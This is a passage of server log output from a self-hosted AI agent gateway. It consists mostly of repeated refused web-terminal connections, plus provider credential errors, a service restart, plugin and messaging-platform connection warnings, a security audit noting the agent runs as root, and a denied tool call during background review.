bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:24:36,419 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:24:41,663 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:24:45,954 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:24:51,790 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:24:55,882 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:25:01,073 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:25:06,416 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:25:10,725 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:25:14,771 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:25:18,939 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:25:23,543 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:25:28,643 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:25:33,432 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:25:38,570 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:25:43,568 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:25:44,930 WARNING [20260710_094439_1cb443b1] agent.conversation_loop: API call failed (attempt 1/3) error_type=NotFoundError thread=hermes-gateway_2:135522785650368 provider=custom base_url=http://localhost:20128/v1 model=openai/qwen3.5-omni-plus summary=HTTP 404: No active credentials for provider: openai 2026-07-20 10:25:45,174 ERROR [20260710_094439_1cb443b1] agent.conversation_loop: Non-retryable client error: Error code: 404 - {'error': {'message': 'No active credentials for provider: openai', 'type': 'invalid_request_error', 'code': 'model_not_found'}} 2026-07-20 10:25:48,428 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:25:53,535 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:25:58,572 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:26:04,090 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:26:09,493 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:26:14,480 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:26:19,411 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:26:24,471 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:26:29,566 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:26:34,667 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:26:39,524 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:26:43,774 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:26:47,864 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:26:52,709 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:26:57,652 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:27:02,968 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:27:10,162 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:27:14,761 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:27:19,501 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:27:23,782 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:27:28,582 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:27:33,390 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:27:38,601 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:27:43,476 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:27:49,235 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:27:53,860 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:27:59,200 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:28:04,634 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:28:09,764 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:28:14,487 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:28:19,631 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:28:24,551 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:28:29,504 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:28:34,576 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:28:39,537 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:28:44,549 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:28:49,271 WARNING [20260710_094439_1cb443b1] agent.conversation_loop: API call failed (attempt 1/3) error_type=NotFoundError thread=hermes-gateway_1:135523347699392 provider=custom base_url=http://localhost:20128/v1 model=openai/qwen3.5-omni-plus summary=HTTP 404: No active credentials for provider: openai 2026-07-20 10:28:49,430 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:28:49,542 ERROR [20260710_094439_1cb443b1] agent.conversation_loop: Non-retryable client error: Error code: 404 - {'error': {'message': 'No active credentials for provider: openai', 'type': 'invalid_request_error', 'code': 'model_not_found'}} 2026-07-20 10:28:54,525 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:28:59,595 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:29:04,573 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:29:09,465 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:29:13,744 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:29:19,312 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:29:21,185 WARNING plugins.platforms.telegram.telegram_network: [Telegram] Primary api.telegram.org connection failed (); trying fallback IPs 149.154.166.110 2026-07-20 10:29:21,516 WARNING plugins.platforms.telegram.telegram_network: [Telegram] Primary api.telegram.org path unreachable; using sticky fallback IP 149.154.166.110 2026-07-20 10:29:24,435 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:29:29,427 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:29:34,588 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:29:39,478 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:29:44,553 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:29:48,973 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:29:54,601 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:29:57,418 WARNING [20260710_094439_1cb443b1] agent.conversation_loop: API call failed (attempt 1/3) error_type=NotFoundError thread=hermes-gateway_2:135522785650368 provider=custom base_url=http://localhost:20128/v1 model=openai/qwen3.5-omni-plus summary=HTTP 404: No active credentials for provider: openai 2026-07-20 10:29:57,697 ERROR [20260710_094439_1cb443b1] agent.conversation_loop: Non-retryable client error: Error code: 404 - {'error': {'message': 'No active credentials for provider: openai', 'type': 'invalid_request_error', 'code': 'model_not_found'}} 2026-07-20 10:29:59,703 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:30:04,846 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:30:09,828 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:30:15,103 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:30:20,662 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:30:26,579 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:30:31,187 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:30:36,558 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:30:41,499 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:30:47,636 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:30:53,106 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:30:58,682 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:31:03,596 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:31:08,462 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:31:13,861 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:31:18,964 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:31:25,154 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:31:30,546 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:31:35,452 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:31:40,455 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:31:45,493 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:31:50,520 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:31:55,616 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:32:00,480 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:32:05,688 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:32:10,676 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:32:16,005 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:32:21,782 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:32:24,445 WARNING [20260712_081412_654c5f58] agent.context_compressor: Failed to generate context summary: Error code: 404 - {'error': {'message': 'No active credentials for provider: openai', 'type': 'invalid_request_error', 'code': 'model_not_found'}}. Further summary attempts paused for 60 seconds. 2026-07-20 10:32:25,029 WARNING [20260712_081412_654c5f58] agent.conversation_loop: API call failed (attempt 1/3) error_type=NotFoundError thread=hermes-gateway_1:135523347699392 provider=custom base_url=http://localhost:20128/v1 model=openai/qwen3.5-omni-plus summary=HTTP 404: No active credentials for provider: openai 2026-07-20 10:32:25,291 ERROR [20260712_081412_654c5f58] agent.conversation_loop: Non-retryable client error: Error code: 404 - {'error': {'message': 'No active credentials for provider: openai', 'type': 'invalid_request_error', 'code': 'model_not_found'}} 2026-07-20 10:32:27,182 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:32:32,520 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:32:37,376 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:32:42,587 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:32:46,804 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:32:51,531 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:32:56,441 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:33:01,584 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:33:06,666 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:33:11,491 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:33:16,588 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:33:21,939 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:33:27,681 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:33:32,499 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:33:36,742 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:33:41,449 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:33:46,462 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:33:51,431 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:33:56,449 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:34:01,725 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:34:06,670 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:34:11,837 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:34:16,071 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:34:21,853 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:34:26,426 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:34:31,654 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:34:36,532 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:34:41,414 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:34:46,421 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:34:50,823 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:34:55,616 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:35:00,511 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:35:04,665 WARNING gateway.run: Shutdown context: signal=SIGTERM under_systemd=yes parent_pid=1 parent_name=systemd loadavg_1m=2.25 parent_cmdline='/sbin/init' 2026-07-20 10:35:18,775 WARNING hermes_cli.plugins: Plugin operate/handoff-task: unknown kind 'command' (valid: backend, exclusive, model-provider, platform, standalone); treating as 'standalone' 2026-07-20 10:35:20,237 WARNING hermes_cli.plugins: Failed to load plugin 'ai-os': unexpected indent (handoff.py, line 1) 2026-07-20 10:35:22,179 WARNING hermes.security_audit: Security posture audit found 1 issue(s) — review your deployment: 2026-07-20 10:35:22,179 WARNING hermes.security_audit: [security 1/1] Running as ROOT. The agent's terminal/file tools execute with full root privileges — a single prompt-injection or exposed endpoint is a full host compromise. Run Hermes as an unprivileged user (or in a sandboxed terminal backend / container with a non-root user). 2026-07-20 10:35:49,066 WARNING hermes_plugins.telegram_platform.adapter: [Telegram] Discovering Telegram API fallback IPs via DNS-over-HTTPS… 2026-07-20 10:35:49,396 WARNING hermes_plugins.telegram_platform.adapter: [Telegram] Connecting to Telegram (attempt 1/8)… 2026-07-20 10:35:51,654 WARNING hermes_plugins.feishu_platform.adapter: [Feishu] Unable to hydrate bot name from application info. Grant admin:app.info:readonly or application:application:self_manage so group @mention gating can resolve the bot name precisely. 2026-07-20 10:35:52,374 ERROR Lark: connect failed, err: 1000040351: Incorrect domain name 2026-07-20 10:35:52,758 WARNING gateway.session: gateway.session: pruning stale sessions.json entry 'agent:main:telegram:group:-1003707758328:1' -> 20260716_152803_0b8a71cb (end_reason='agent_close'); left by a crashed gateway 2026-07-20 10:35:52,773 WARNING gateway.session: gateway.session: pruning stale sessions.json entry 'agent:main:telegram:group:-1003707758328:20' -> 20260714_114920_9d9d2d3b (end_reason='agent_close'); left by a crashed gateway 2026-07-20 10:36:12,727 WARNING tools.registry: check_fn _browser_cdp_check returned False; dependent tools will be unavailable this turn 2026-07-20 10:36:12,737 WARNING tools.registry: check_fn _browser_dialog_check returned False; dependent tools will be unavailable this turn 2026-07-20 10:36:12,792 WARNING tools.registry: check_fn check_close_terminal_requirements returned False; dependent tools will be unavailable this turn 2026-07-20 10:36:12,797 WARNING tools.registry: check_fn check_computer_use_requirements returned False; dependent tools will be unavailable this turn 2026-07-20 10:36:12,843 WARNING tools.registry: check_fn check_image_generation_requirements returned False; dependent tools will be unavailable this turn 2026-07-20 10:36:12,846 WARNING tools.registry: check_fn _check_kanban_mode returned False; dependent tools will be unavailable this turn 2026-07-20 10:36:12,849 WARNING tools.registry: check_fn _check_kanban_orchestrator_mode returned False; dependent tools will be unavailable this turn 2026-07-20 10:36:12,850 WARNING tools.registry: check_fn check_read_terminal_requirements returned False; dependent tools will be unavailable this turn 2026-07-20 10:52:54,841 WARNING [20260710_094439_1cb443b1] agent.tool_executor: Tool execute_code returned error (0.00s): {"error": "Background review denied non-whitelisted tool: execute_code. Only memory/skill tools are allowed."} 2026-07-20 10:58:32,085 WARNING agent.chat_completion_helpers: Streaming failed after partial delivery, not retrying: peer closed connection without sending complete message body (incomplete chunked read) 2026-07-20 10:58:32,092 WARNING [20260710_094439_1cb443b1] agent.chat_completion_helpers: Partial stream delivered before error; returning length-truncated stub with 0 chars of recovered content so the loop can continue from where the stream died: peer closed connection without sending complete message body (incomplete chunked read) 2026-07-20 10:58:32,224 WARNING [20260710_094439_1cb443b1] agent.conversation_loop: API call failed (attempt 1/3) error_type=APIConnectionError thread=hermes-gateway_0:134289866880704 provider=custom base_url=http://localhost:20128/v1 model=default summary=Connection error. 2026-07-20 10:58:32,224 WARNING [20260710_094439_1cb443b1] agent.conversation_loop: Retrying API call in 2.3193108518311556s (attempt 1/3) thread=hermes-gateway_0:134289866880704 provider=custom base_url=http://localhost:20128/v1 model=default policy=default error=Connection error. 2026-07-20 11:11:05,652 WARNING [20260710_094439_1cb443b1] gateway.run: Persisted transcript lagged live cached history for session agent:main:telegram:group:-1003707758328:18 (disk=80, memory=81); preserving live conversation context (possible FTS write corruption) 2026-07-20 11:18:51,986 WARNING [20260710_094439_1cb443b1] gateway.run: Persisted transcript lagged live cached history for session agent:main:telegram:group:-1003707758328:18 (disk=88, memory=89); preserving live conversation context (possible FTS write corruption) 2026-07-20 11:27:23,771 WARNING [20260710_094439_1cb443b1] gateway.run: Persisted transcript lagged live cached history for session agent:main:telegram:group:-1003707758328:18 (disk=90, memory=91); preserving live conversation context (possible FTS write corruption) 2026-07-20 11:32:28,141 WARNING [20260710_094439_1cb443b1] gateway.run: Persisted transcript lagged live cached history for session agent:main:telegram:group:-1003707758328:18 (disk=92, memory=93); preserving live conversation context (possible FTS write corruption) 2026-07-20 11:32:57,640 WARNING [20260710_094439_1cb443b1] tools.skills_tool: Skill name collision for 'research-critism': 3 candidates — /root/.hermes/skills/research/research-critism/SKILL.md; /opt/ai-os/products/ceo/skills/research/SKILL.md; /opt/ai-os/products/ceo/skills/research/research-critism/SKILL.md 2026-07-20 11:32:57,641 WARNING [20260710_094439_1cb443b1] agent.tool_executor: Tool skill_view 